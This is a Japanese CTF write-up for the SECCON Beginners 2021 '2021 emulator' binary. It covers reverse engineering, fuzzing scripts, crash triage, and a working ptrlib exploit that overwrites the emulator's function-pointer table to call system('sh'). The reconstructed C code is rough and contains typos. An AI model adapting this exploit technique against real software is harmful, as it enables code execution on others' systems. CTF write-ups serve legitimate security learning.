# 2021 emulator - SECCON Beginners CTF Online 2021
## 概要
x64 ELFバイナリだけ貰えるのでIDAで読む。
なんかこんな感じの構造体があって
```
typedef struct {
unsigned char regs[0xc];
unsigned code[0x4000]; // +000Ch
void *instr[0xff]; // +4010h
} Emulator;
```
`code`に自由な入力を与えて`instr[code[pc]]();`みたいなのが実行される。`mov`命令の解析がクソ面倒。
なので解析は終わり。
```c
/*
typedef struct {
unsigned char regs[0xc];
unsigned code[0x4000]; // +000Ch
void *instr[0xff]; // +4010h
} Emulator;
*/
void nop(Emulator *emu) {
emu->regs[0] = emu->regs[0];
}
void hlt(Emulator *emu) {
puts("sorry I can't halt...");
}
void ret(Emulator *emu) {
puts("A register is %d !\n");
puts("bye");
exit(0);
}
void mov(Emulator *emu) {
char x = get_mem_pc(emu);
}
vodi mov_r_r(Emulator *emu, int a, int b) {
}
short get_pc(Emulator *emu)
{
return (regs[7] << 8) | regs[8];
}
unsigned int get_mem_pc(Emulator *emu)
{
return emu->code[get_pc(emu)];
}
void init_instructions(Emulator *emu)
{
for (int i = 0x00; i < 0xff; i++)
emu->nazo[i] = nop;
for (int i = 0x40; i < 0x80; i++)
emu->nazo[i] = mov;
for (int i = 0x06; i < 0x40; i += 8)
emu->nazo[i] = mvi;
nazo[118] = hlt;
nazo[201] = ret;
}
int main() {
Emulator *emu = malloc(0x4808);
init_instructions(emu);
print_banner();
puts("loading to memory");
load_to_mem(stdin, emu->code);
while (1) {
unsigned char c = get_mem_pc(emu);
code[c](emu);
inc_pc(emu);
}
return 0;
}
```
## 解法
### 脆弱性の発見
解析途中までで脆弱性は見当たらない&これ以上謎switch文を読みたくないのでfuzzingする。
まずランダムな入力を与えてクラッシュしたものを保存する。
```python
from ptrlib import *
import random
sock = Process("./chall")
code = bytes([random.randrange(0, 0x100) for i in range(0x3ffe)] + [201])
with open("history", "wb") as f:
f.write(code)
sock.sendafter("...\n", code)
sock.interactive()
```
保存されたクラッシュを最適化すると、次のコードでクラッシュすることが分かった。
```
\xff
```
あーそりゃ初期化で0xfeまでしかループ回してないんだからそうだよな。topのsizeがcallされてるのでこのバグは使えない。
ので0xffを踏まないようにfuzzerを書き直す。
一気にクラッシュ率が下がるので多少自動化する。
```python
from ptrlib import *
import random
while True:
sock = Process("./chall")
code = bytes([random.randrange(0, 0xff) for i in range(0x3ffe)] + [201])
with open("history", "wb") as f:
f.write(code)
sock.sendafter("...\n", code)
while sock._is_alive():
pass
if sock.proc.returncode == -11:
print("[+] Crash")
break
sock.close()
```
しばらく回すとクラッシュが見つかる。
小さくしたテストケース:
```
0e4208986129ee797d7e5234c8175cfa6c310174635f0d278b26806b6bfb9154f4c1d38d25a2e50011e6fbdf113657761850966ae42493b56676a0ab645e9f0417fcd63d17a969c25aa9d882f98b6264c21504283e4a36a8dc1a961fa9eb0ef003eb54a404aff8b6cfc5e859d8c1f9531a546dfd7a067ff989f2c384edec74c1522b2dd1f14cf43b9975ab5febbd0df6abc142d4ddd87c8b4b3e70266f7742cbf70a33b92ed7073f
```
ログ:
```
[ 6384.155798] chall[36005]: segfault at 4200401437 ip 0000004200401437 sp 00007ffc5885bab8 error 14 in libc-2.31.so[7f5b36c7d000+25000]
```
nopの関数ポインタの4バイト目が0x42に書き換わってるらしい。
テストケースを更に最適化する。
```
0e420898616c3f
```
### OOB-Writeの作成
今のテストケースでは0x40a4a8(instr[0x3f])にある関数ポインタが書き換えられている。
どのタイミングで書き換わるかを調べるためにgdbで実行トレースを得る。
```
mvi r2, 0x42
mov r5, r2
mov [r5:r6], r5 (?)
```
最初にmviでどっかのレジスタに0x42入り、それが伝搬して最終的にmovで書き換わっているらしい。
それを踏まえると最小PoCは次のようになる。
```
0e42 61 6c 3f
```
ただ、これだと使いづらいので、最後のmovは別のレジスタから引っ張りたい。
適当にコードを変えると0x6aで
```
mov [r4:r5], r2
```
相当の処理ができることが分かった。
あとは
```
mvi r6, XX
mvi r4, XX
```
を探せばよい。最初のコード的に6+8*iの命令を試せば良さそう。
### exploit
system呼べば終わり。
```python=
from ptrlib import *
import random
sock = Process("./chall")
code = b''
code += bytes([6+8*4]) + b"\x40" # r4
target = 0x401040
# overwrite
for i in range(3):
code += bytes([6+8*5, 0x4+i]) # r5
code += bytes([6+8*2, (target>>(i*8)) & 0xff]) # r2
code += b"\x6a" # [r4:r5] = r2
# prepare sh
code += bytes([6+8*7, ord('s')]) # r0
code += bytes([6+8*0, ord('h')]) # r1
# ignite
code += b"\x00"
code += bytes([201])
sock.sendafter("...\n", code)
sock.interactive()
```
## 感想・意見等
- ソースコードも配布した方が良いと思う
- ソースコード配布した上でmediumかな
- 最初の初期化で0xfeまでしか回してないのは実装ミスだと思う
- レジスタの値初期化してない気がするのも気になる(未定義動作なので)